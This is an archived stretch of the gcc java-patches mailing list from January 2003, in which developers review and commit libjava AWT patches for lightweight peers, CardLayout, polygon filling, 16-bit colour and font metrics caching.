---------------------------------- Sincerely Yours, Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-5818-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 15 19:05:06 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26733 invoked by alias); 15 Jan 2003 19:05:02 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26723 invoked from network); 15 Jan 2003 19:05:00 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 15 Jan 2003 19:05:00 -0000 Received: from fleche.redhat.com (tz0079.peakpeak.com [207.174.69.79]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id MAA27287; Wed, 15 Jan 2003 12:04:58 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 8984D4F8057; Wed, 15 Jan 2003 12:10:28 -0700 (MST) To: "Scott Gilbertson" Cc: Subject: Re: Patch: GLightweightPeer,LightweightPeer,Toolkit allow creation and display of lightweight components References: <066501c29a2a$14045f50$3c16a8c0@mantatest.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I always have fun because I'm out of my mind!!! Date: 15 Jan 2003 12:10:28 -0700 In-Reply-To: <066501c29a2a$14045f50$3c16a8c0@mantatest.com> Message-ID: <87znq2dyaj.fsf@fleche.redhat.com> Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Scott" == Scott Gilbertson writes: Scott> These changes allow creation and display of lighweight Scott> components by directly subclassing java.awt.Component and Scott> java.awt.Container. I'm not so sure about this change. I'll look at it a little later today and see what is going on. Scott> gcc/libjava/java/awt/Toolkit.java Scott> protected LightweightPeer Scott> createComponent(Component target) Scott> { Scott> - return null; Scott> + return gnu.java.awt.GLightweightPeer.INSTANCE; Scott> } This change we definitely can't put in. This makes the platform-independent Toolkit class depend directly on a particular lightweight peer implementation. It seems to me that this function should be overridden in the platform-specific Toolkit, for instance XToolkit. What do you think about that? That said, I don't understand why the GLightweightPeer class is in gnu.java.awt and not somewhere else. So, I'm a little confused. Tom From java-patches-return-5819-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 15 19:54:38 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15372 invoked by alias); 15 Jan 2003 19:54:36 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15352 invoked from network); 15 Jan 2003 19:54:35 -0000 Received: from unknown (HELO mail.eol.ca) (205.189.151.1) by sources.redhat.com with SMTP; 15 Jan 2003 19:54:35 -0000 Received: from mantatest.com (static-1M-b1-60.highspeed.eol.ca [64.56.237.60]) by mail.eol.ca (Postfix) with SMTP id E653644692 for ; Wed, 15 Jan 2003 14:55:07 -0500 (EST) Received: from scott ([192.168.22.60]) by mantatest.com ( IA Mail Server Version: 3.2.4. Build: 1096 ) ) ; Wed, 15 Jan 2003 14:51:50 -0500 Message-ID: <003201c2bccf$aaf3ed00$3c16a8c0@mantatest.com> From: "Scott Gilbertson" To: Cc: References: <066501c29a2a$14045f50$3c16a8c0@mantatest.com> <87znq2dyaj.fsf@fleche.redhat.com> Subject: Re: Patch: GLightweightPeer,LightweightPeer,Toolkit allow creation and display of lightweight components Date: Wed, 15 Jan 2003 14:52:43 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 > Scott> These changes allow creation and display of lighweight > Scott> components by directly subclassing java.awt.Component and > Scott> java.awt.Container. Tom> I'm not so sure about this change. I'll look at it a little later Tom> today and see what is going on. Neither am I, but I couldn't immediately see any other way to create a functional lightweight container, and the change works. Note that the javadoc for java.awt.Toolkit.createComponent in j2sdk 1.4.0 says "Creates a peer for a component or container. This peer is windowless and allows the Component and Container classes to be extended directly to create windowless components that are defined entirely in java." The comment in the libjava implementation doesn't mention containers. I should have changed it to match. > Scott> gcc/libjava/java/awt/Toolkit.java > Scott> protected LightweightPeer > Scott> createComponent(Component target) > Scott> { > Scott> - return null; > Scott> + return gnu.java.awt.GLightweightPeer.INSTANCE; > Scott> } Tom> This change we definitely can't put in. This makes the Tom> platform-independent Toolkit class depend directly on a particular Tom> lightweight peer implementation. It seems to me that this function Tom> should be overridden in the platform-specific Toolkit, for instance Tom> XToolkit. What do you think about that? We could have XLightweightPeer (new class, initially identical to GLightweightPeer) returned from XToolkit.createComponent, but the reason java.awt.Toolkit.createComponent isn't abstract is to allow the base Tookit class to return a trivial peer. I claim lightweights can be non-platform-specific ("windowless components that are defined entirely in java" in the earlier quote), which if true would eliminate the "particular lightweight peer implementation" problem. Tom> That said, I don't understand why the GLightweightPeer class is in Tom> gnu.java.awt and not somewhere else. So, I'm a little confused. Perhaps it's because that's more-or-less how Sun does it (sun.awt.NullComponentPeer returned from java.awt.Toolkit.getComponent), but I guess I'm not supposed to look at that (good thing they didn't include NullComponentPeer source in the JDK, or I'd be tempted). From java-patches-return-5820-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 15 22:14:01 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26807 invoked by alias); 15 Jan 2003 22:14:01 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26790 invoked from network); 15 Jan 2003 22:14:00 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 15 Jan 2003 22:14:00 -0000 Received: from fleche.redhat.com (tz0079.peakpeak.com [207.174.69.79]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA12774; Wed, 15 Jan 2003 15:13:48 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id E56F24F8057; Wed, 15 Jan 2003 15:19:19 -0700 (MST) To: "Scott Gilbertson" Cc: Subject: Re: Patch: XGraphicsConfiguration,XToolkit: display colors properly in 16-bit display modes References: <000a01c29a2d$c61b02e0$3c16a8c0@mantatest.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: America!! I saw it all!! Vomiting! Waving! JERRY FALWELLING into your void tube of UHF oblivion!! SAFEWAY of the mind -- Date: 15 Jan 2003 15:19:19 -0700 In-Reply-To: <000a01c29a2d$c61b02e0$3c16a8c0@mantatest.com> Message-ID: <87fzrudpjs.fsf@fleche.redhat.com> Lines: 13 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Scott" == Scott Gilbertson writes: Scott> This patch gets correct colors to display in non-24-bit Scott> graphics modes with xlib. This patch got wrapped somehow. Perhaps your MUA? Anyway, could you resend it as an attachment so that it won't be modified and I can apply it properly? This also happened with your fillPolygon patch and your Makefile.am patch. Tom From java-patches-return-5821-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 15 22:28:17 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3080 invoked by alias); 15 Jan 2003 22:28:17 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3068 invoked from network); 15 Jan 2003 22:28:16 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 15 Jan 2003 22:28:16 -0000 Received: from fleche.redhat.com (tz0079.peakpeak.com [207.174.69.79]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA16538; Wed, 15 Jan 2003 15:28:15 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 16E954F8057; Wed, 15 Jan 2003 15:33:45 -0700 (MST) To: "Scott Gilbertson" Cc: Subject: Re: Patch: java.awt.CardLayout.show fix - was sometimes showing the wrong component References: <001f01c29a58$021c16b0$3c16a8c0@mantatest.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I joined scientology at a garage sale!! Date: 15 Jan 2003 15:33:45 -0700 In-Reply-To: <001f01c29a58$021c16b0$3c16a8c0@mantatest.com> Message-ID: <87adi2dovq.fsf@fleche.redhat.com> Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Scott" == Scott Gilbertson writes: Scott> I've had problems with CardLayout.show showing the wrong Scott> component. This patch corrects those problems. I've Scott> re-structured things a little in CardLayout, which I think Scott> makes it clearer. Agreed. I'm checking this in to the 3.3 branch, the trunk, and Classpath. I changed the show() part a bit; I removed the FIXME and added an early return if the desired target is already visible. I also fixed a buglet in gotoComponent by removing these lines: else if (what >= 0) choice = what; I don't know why these were there (you didn't add them, so don't worry :-), but they are pretty clearly wrong. Tom From java-patches-return-5822-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 15 22:48:42 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10629 invoked by alias); 15 Jan 2003 22:48:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10613 invoked from network); 15 Jan 2003 22:48:35 -0000 Received: from unknown (HELO mail.eol.ca) (205.189.151.1) by sources.redhat.com with SMTP; 15 Jan 2003 22:48:35 -0000 Received: from mantatest.com (static-1M-b1-60.highspeed.eol.ca [64.56.237.60]) by mail.eol.ca (Postfix) with SMTP id 3B3964201A for ; Wed, 15 Jan 2003 17:49:08 -0500 (EST) Received: from scott ([192.168.22.60]) by mantatest.com ( IA Mail Server Version: 3.2.4. Build: 1096 ) ) ; Wed, 15 Jan 2003 17:45:29 -0500 Message-ID: <004201c2bce7$ed5f0590$3c16a8c0@mantatest.com> From: "Scott Gilbertson" To: Cc: References: <000a01c29a2d$c61b02e0$3c16a8c0@mantatest.com> <87fzrudpjs.fsf@fleche.redhat.com> Subject: Re: Patch: XGraphicsConfiguration,XToolkit: display colors properly in 16-bit display modes Date: Wed, 15 Jan 2003 17:46:22 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_003F_01C2BCBE.047CC890" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 This is a multi-part message in MIME format. ------=_NextPart_000_003F_01C2BCBE.047CC890 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit > This patch got wrapped somehow. Perhaps your MUA? > Anyway, could you resend it as an attachment so that it won't be > modified and I can apply it properly? > > This also happened with your fillPolygon patch and your Makefile.am > patch. > > Tom attached ------=_NextPart_000_003F_01C2BCBE.047CC890 Content-Type: application/octet-stream; name="20021202_Polygons.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="20021202_Polygons.patch" diff -r -up gcc.patched/libjava/gnu/awt/j2d/DirectRasterGraphics.java = gcc/libjava/gnu/awt/j2d/DirectRasterGraphics.java=0A= --- gcc.patched/libjava/gnu/awt/j2d/DirectRasterGraphics.java 2002-12-02 = 11:45:17.000000000 -0500=0A= +++ gcc/libjava/gnu/awt/j2d/DirectRasterGraphics.java 2002-12-02 = 11:15:06.000000000 -0500=0A= @@ -61,7 +61,7 @@ public interface DirectRasterGraphics ex=0A= =0A= public void drawPolygon(int[] xPoints, int[] yPoints, int nPoints);=0A= =0A= - public void fillPolygon(int[] xPoints, int[] yPoints, int nPoints);=0A= + public void fillPolygon(int[] xPoints, int[] yPoints, int nPoints, = int translateX, int translateY);=0A= =0A= public void drawString(String str, int x, int y);=0A= =0A= diff -r -up gcc.patched/libjava/gnu/awt/j2d/IntegerGraphicsState.java = gcc/libjava/gnu/awt/j2d/IntegerGraphicsState.java=0A= --- gcc.patched/libjava/gnu/awt/j2d/IntegerGraphicsState.java 2002-12-02 = 11:45:17.000000000 -0500=0A= +++ gcc/libjava/gnu/awt/j2d/IntegerGraphicsState.java 2002-12-02 = 11:47:17.000000000 -0500=0A= @@ -212,7 +212,7 @@ public class IntegerGraphicsState extend=0A= =0A= public void drawPolyline(int[] xPoints, int[] yPoints, int nPoints)=0A= {=0A= - if ((tx =3D=3D 0) || (ty =3D=3D 0))=0A= + if ((tx =3D=3D 0) && (ty =3D=3D 0))=0A= {=0A= directGfx.drawPolyline(xPoints, yPoints, nPoints);=0A= return;=0A= @@ -223,7 +223,7 @@ public class IntegerGraphicsState extend=0A= =0A= public void drawPolygon(int[] xPoints, int[] yPoints, int nPoints)=0A= {=0A= - if ((tx =3D=3D 0) || (ty =3D=3D 0))=0A= + if ((tx =3D=3D 0) && (ty =3D=3D 0))=0A= {=0A= directGfx.drawPolygon(xPoints, yPoints, nPoints);=0A= return;=0A= @@ -232,15 +232,11 @@ public class IntegerGraphicsState extend=0A= throw new UnsupportedOperationException("translate not = implemented");=0A= }=0A= =0A= - public void fillPolygon(int[] xPoints, int[] yPoints, int nPoints)=0A= + public void fillPolygon (int[] xPoints, int[] yPoints, int nPoints)=0A= {=0A= - if ((tx =3D=3D 0) || (ty =3D=3D 0))=0A= - {=0A= - directGfx.fillPolygon(xPoints, yPoints, nPoints);=0A= - return;=0A= - }=0A= - =0A= - throw new UnsupportedOperationException("translate not = implemented");=0A= + // FIXME: remove tx & ty args once translation via AffineTransform = is implemented=0A= + directGfx.fillPolygon (xPoints, yPoints, nPoints, tx, ty);=0A= + return;=0A= }=0A= =0A= public boolean drawImage(Image image, int x, int y,=0A= diff -r -up gcc.patched/libjava/gnu/awt/xlib/XGraphics.java = gcc/libjava/gnu/awt/xlib/XGraphics.java=0A= --- gcc.patched/libjava/gnu/awt/xlib/XGraphics.java 2002-12-02 = 11:45:17.000000000 -0500=0A= +++ gcc/libjava/gnu/awt/xlib/XGraphics.java 2002-12-02 = 11:14:33.000000000 -0500=0A= @@ -177,9 +177,9 @@ public class XGraphics implements Clonea=0A= }=0A= =0A= public void fillPolygon(int[] xPoints, int[] yPoints, int=0A= - nPoints)=0A= + nPoints, int translateX, int translateY)=0A= {=0A= - throw new UnsupportedOperationException("not implemented");=0A= + context.fillPolygon(xPoints, yPoints, nPoints, translateX, = translateY);=0A= }=0A= =0A= public void drawString(String str, int x, int y)=0A= diff -r -up gcc.patched/libjava/gnu/gcj/xlib/GC.java = gcc/libjava/gnu/gcj/xlib/GC.java=0A= --- gcc.patched/libjava/gnu/gcj/xlib/GC.java 2002-12-02 = 11:45:18.000000000 -0500=0A= +++ gcc/libjava/gnu/gcj/xlib/GC.java 2002-12-02 11:13:58.000000000 -0500=0A= @@ -84,6 +84,7 @@ public class GC implements Cloneable=0A= public native void drawRectangle(int x, int y, int w, int h);=0A= =0A= public native void fillRectangle(int x, int y, int w, int h);=0A= + public native void fillPolygon(int[] xPoints, int[] yPoints, int = nPoints, int translateX, int translateY);=0A= =0A= /** =0A= * =0A= diff -r -up gcc.patched/libjava/gnu/gcj/xlib/natGC.cc = gcc/libjava/gnu/gcj/xlib/natGC.cc=0A= --- gcc.patched/libjava/gnu/gcj/xlib/natGC.cc 2002-12-02 = 11:45:18.000000000 -0500=0A= +++ gcc/libjava/gnu/gcj/xlib/natGC.cc 2002-12-02 11:13:16.000000000 -0500=0A= @@ -10,7 +10,8 @@ details. */=0A= =0A= #include =0A= =0A= -#include =0A= +#include +#include =0A= #include =0A= #include =0A= #include =0A= @@ -154,6 +155,24 @@ void gnu::gcj::xlib::GC::fillRectangle(j=0A= // no fast fail=0A= }=0A= =0A= +void gnu::gcj::xlib::GC::fillPolygon(jintArray xPoints, jintArray = yPoints, jint nPoints, jint translateX, jint translateY) +{ + Display* display =3D target->getDisplay(); + ::Display* dpy =3D (::Display*) (display->display); + ::Drawable drawableXID =3D target->getXID(); + ::GC gc =3D (::GC) structure; + typedef ::XPoint xpoint; + std::vector points(nPoints+1); + for( int i=3D0; i Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15224 invoked by alias); 16 Jan 2003 00:10:59 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15215 invoked from network); 16 Jan 2003 00:10:58 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 16 Jan 2003 00:10:58 -0000 Received: from fleche.redhat.com (tz0079.peakpeak.com [207.174.69.79]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA08457; Wed, 15 Jan 2003 17:10:57 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 4A9FA4F8057; Wed, 15 Jan 2003 17:16:29 -0700 (MST) To: "Scott Gilbertson" Cc: Subject: Re: Patch: libjava/Makefile.am,libjava/Makefile.in fix for compile error with --enable-java-awt=xlib References: <011101c2a21b$330e7f40$3c16a8c0@mantatest.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I want another RE-WRITE on my CAESAR SALAD!! Date: 15 Jan 2003 17:16:29 -0700 In-Reply-To: <011101c2a21b$330e7f40$3c16a8c0@mantatest.com> Message-ID: <877kd6c5k2.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Scott" == Scott Gilbertson writes: Scott> BTW this fix probably covers problem report 3093 "gcj doesn't Scott> not finish building when the --enable-java-awt=xlib option is Scott> set", although the particular error message in natClip.cc has Scott> changed since that report was entered. Thanks, I'm going to close that PR. Tom From java-patches-return-5824-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 16 00:13:11 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16729 invoked by alias); 16 Jan 2003 00:13:11 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16721 invoked from network); 16 Jan 2003 00:13:10 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 16 Jan 2003 00:13:10 -0000 Received: from fleche.redhat.com (tz0079.peakpeak.com [207.174.69.79]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA09012; Wed, 15 Jan 2003 17:13:09 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 5F3174F8057; Wed, 15 Jan 2003 17:18:39 -0700 (MST) To: "Scott Gilbertson" Cc: Subject: Re: Patch: XGraphicsConfiguration,XToolkit: display colors properly in 16-bit display modes References: <000a01c29a2d$c61b02e0$3c16a8c0@mantatest.com> <87fzrudpjs.fsf@fleche.redhat.com> <004201c2bce7$ed5f0590$3c16a8c0@mantatest.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Here we are in America... when do we collect unemployment? Date: 15 Jan 2003 17:18:39 -0700 In-Reply-To: <004201c2bce7$ed5f0590$3c16a8c0@mantatest.com> Message-ID: <874r8ac5gg.fsf@fleche.redhat.com> Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Scott" == Scott Gilbertson writes: Scott> attached Thanks. I checked these in with only minor cleanups. They will appear in 3.3. I think only the lightweight peer patch is still pending. I'll revisit that one again soon. Tom From java-patches-return-5825-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 16 08:02:56 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 32677 invoked by alias); 16 Jan 2003 08:02:54 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 32667 invoked from network); 16 Jan 2003 08:02:53 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by sources.redhat.com with SMTP; 16 Jan 2003 08:02:53 -0000 Received: from majestix.konqueror.de (dynadsl-080-228-68-036.ewetel.net [80.228.68.36]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h0G82psN027978 for ; Thu, 16 Jan 2003 09:02:51 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.100]) by majestix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18Z4zD-0001CU-00 for ; Thu, 16 Jan 2003 09:02:51 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: java.net.MulticastSocket Date: Thu, 16 Jan 2003 09:01:54 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_ybmJ+gmG1qkNnR8" Message-Id: <200301160901.55324.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_ybmJ+gmG1qkNnR8 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Content-Description: clearsigned data Content-Disposition: inline -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited this reindenting patch to trunk. Tom: Can you please commit it to 3.3 too ? Michael - -- Homepage: http://www.worldforge.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+JmbzWSOgCCdjSDsRAt3tAKCfxcd0TSVJtkbh0aPWr8fg+SElggCeKG9h lraAJTkxk9UkuAGQpnxueSI= =0ftL -----END PGP SIGNATURE----- --Boundary-00=_ybmJ+gmG1qkNnR8 Content-Type: text/x-diff; charset="iso-8859-15"; name="java-net-MulticastSocket.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="java-net-MulticastSocket.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1634 diff -u -r1.1634 ChangeLog --- ChangeLog 15 Jan 2003 23:53:48 -0000 1.1634 +++ ChangeLog 16 Jan 2003 08:00:53 -0000 @@ -1,3 +1,8 @@ +2003-01-16 Michael Koch + + * java/net/MulticastSocket.java + (setInterface): Reindented. + 2003-01-15 Scott Gilbertson * gnu/gcj/xlib/natGC.cc (fillPolygon): New method. Index: java/net/MulticastSocket.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/MulticastSocket.java,v retrieving revision 1.17 diff -u -r1.17 MulticastSocket.java --- java/net/MulticastSocket.java 11 Jan 2003 01:17:19 -0000 1.17 +++ java/net/MulticastSocket.java 16 Jan 2003 08:00:53 -0000 @@ -161,15 +161,15 @@ return impl.getTimeToLive(); } - /** - * Sets the interface to use for sending multicast packets. - * + /** + * Sets the interface to use for sending multicast packets. + * * @param addr The new interface to use. - * + * * @exception SocketException If an error occurs. * * @since 1.4 - */ + */ public void setInterface(InetAddress addr) throws SocketException { impl.setOption(SocketOptions.IP_MULTICAST_IF, addr); --Boundary-00=_ybmJ+gmG1qkNnR8-- From java-patches-return-5826-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 16 20:56:45 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27004 invoked by alias); 16 Jan 2003 20:56:43 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26984 invoked from network); 16 Jan 2003 20:56:40 -0000 Received: from unknown (HELO mail.eol.ca) (205.189.151.1) by sources.redhat.com with SMTP; 16 Jan 2003 20:56:40 -0000 Received: from mantatest.com (static-1M-b1-60.highspeed.eol.ca [64.56.237.60]) by mail.eol.ca (Postfix) with SMTP id 0815447C1A for ; Thu, 16 Jan 2003 15:57:14 -0500 (EST) Received: from scott ([192.168.22.60]) by mantatest.com ( IA Mail Server Version: 3.2.4. Build: 1096 ) ) ; Thu, 16 Jan 2003 15:53:38 -0500 Message-ID: <00a101c2bda1$784e31d0$3c16a8c0@mantatest.com> From: "Scott Gilbertson" To: Subject: PATCH: XGraphicsConfiguration implement font metrics cache Date: Thu, 16 Jan 2003 15:34:53 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0089_01C2BD74.D06F5B50" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 This is a multi-part message in MIME format. ------=_NextPart_000_0089_01C2BD74.D06F5B50 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit I came accross a comment that said "FIXME: do caching", so I did. I see a couple of possible problems with this patch, though: 1. it assumes that visual.getScreen().getDisplay() always returns the same value 2. if you use many different fonts, the cache will just keep growing My guess is that #1 is a valid assumption. Regarding #2, I considered using weak references, but that would risk having fonts taken out of the cache immediately before they're needed again, so I decided against it. To test it, I ran my application which uses Graphics.setFont in a lot of the paint functions, and confirmed that a few different fonts show up properly. I also noticed a large speed improvement when painting a lot of text fields. Index: libjava/ChangeLog from Scott Gilbertson * XGraphicsConfiguration.getXFontMetrics: implemented cache to improve performance patch is attached. ------=_NextPart_000_0089_01C2BD74.D06F5B50 Content-Type: application/octet-stream; name="20030116_FontCache.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="20030116_FontCache.patch" diff -r -up gcc.patched/libjava/gnu/awt/xlib/XGraphicsConfiguration.java = gcc/libjava/gnu/awt/xlib/XGraphicsConfiguration.java=0A= --- gcc.patched/libjava/gnu/awt/xlib/XGraphicsConfiguration.java = 2002-12-02 13:11:23.000000000 -0500=0A= +++ gcc/libjava/gnu/awt/xlib/XGraphicsConfiguration.java 2003-01-16 = 15:25:14.000000000 -0500=0A= @@ -38,6 +38,7 @@ public class XGraphicsConfiguration exte=0A= Colormap colormap;=0A= ColorModel imageCM;=0A= ColorModel pixelCM;=0A= + static private java.util.Hashtable fontMetricsCache =3D new = java.util.Hashtable();=0A= =0A= public XGraphicsConfiguration(Visual visual)=0A= {=0A= @@ -324,31 +325,37 @@ public class XGraphicsConfiguration exte=0A= /* FIXME: This should be moved to XGraphicsDevice... */=0A= XFontMetrics getXFontMetrics(java.awt.Font awtFont)=0A= {=0A= - // FIXME: do caching...=0A= + // If the metrics object for this font is already cached, use it.=0A= + // Otherwise create and cache it.=0A= + XFontMetrics fm =3D (XFontMetrics)fontMetricsCache.get(awtFont);=0A= + if( fm =3D=3D null )=0A= + {=0A= + Display display =3D visual.getScreen().getDisplay();=0A= + String family =3D "*";=0A= + String name =3D awtFont.getName();=0A= + String weight =3D awtFont.isBold() ? "bold" : "medium";=0A= + String slant =3D awtFont.isItalic() ? "i" : "r";=0A= + String addStyle =3D "*";=0A= + String pixelSize =3D "*";=0A= + String pointSize =3D awtFont.getSize() + "0";=0A= + String xres =3D "*";=0A= + String yres =3D "*";=0A= + String spacing =3D "*";=0A= + String averageWidth =3D "*";=0A= + String charset =3D "iso10646-1";=0A= +=0A= + String logicalFontDescription =3D=0A= + family + "-" + name + "-" + weight + "-" +=0A= + slant + "-" + addStyle + "-" + pixelSize + "-" +=0A= + pointSize + "-" + xres + "-" + yres + "-" +=0A= + spacing + "-" + averageWidth + "-" + charset;=0A= +=0A= + gnu.gcj.xlib.Font xfont =3D new gnu.gcj.xlib.Font(display, = logicalFontDescription);=0A= + fm =3D new XFontMetrics(xfont, awtFont);=0A= + fontMetricsCache.put (awtFont,fm);=0A= + }=0A= =0A= - String family =3D "*";=0A= - String name =3D awtFont.getName();=0A= - String weight =3D awtFont.isBold() ? "bold" : "medium";=0A= - String slant =3D awtFont.isItalic() ? "i" : "r";=0A= - String addStyle =3D "*";=0A= - String pixelSize =3D "*";=0A= - String pointSize =3D awtFont.getSize() + "0";=0A= - String xres =3D "*";=0A= - String yres =3D "*";=0A= - String spacing =3D "*";=0A= - String averageWidth =3D "*";=0A= - String charset =3D "*";=0A= - =0A= - String logicalFontDescription =3D=0A= - family + "-" + name + "-" + weight + "-" +=0A= - slant + "-" + addStyle + "-" + pixelSize + "-" +=0A= - pointSize + "-" + xres + "-" + yres + "-" +=0A= - spacing + "-" + averageWidth + "-" + charset;=0A= - =0A= - Display display =3D visual.getScreen().getDisplay();=0A= - gnu.gcj.xlib.Font xfont =3D=0A= - new gnu.gcj.xlib.Font(display, logicalFontDescription);=0A= - return new XFontMetrics(xfont, awtFont);=0A= + return fm;=0A= }=0A= =0A= int getPixel(Color color)=0A= ------=_NextPart_000_0089_01C2BD74.D06F5B50-- From java-patches-return-5827-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 16 20:56:47 2003 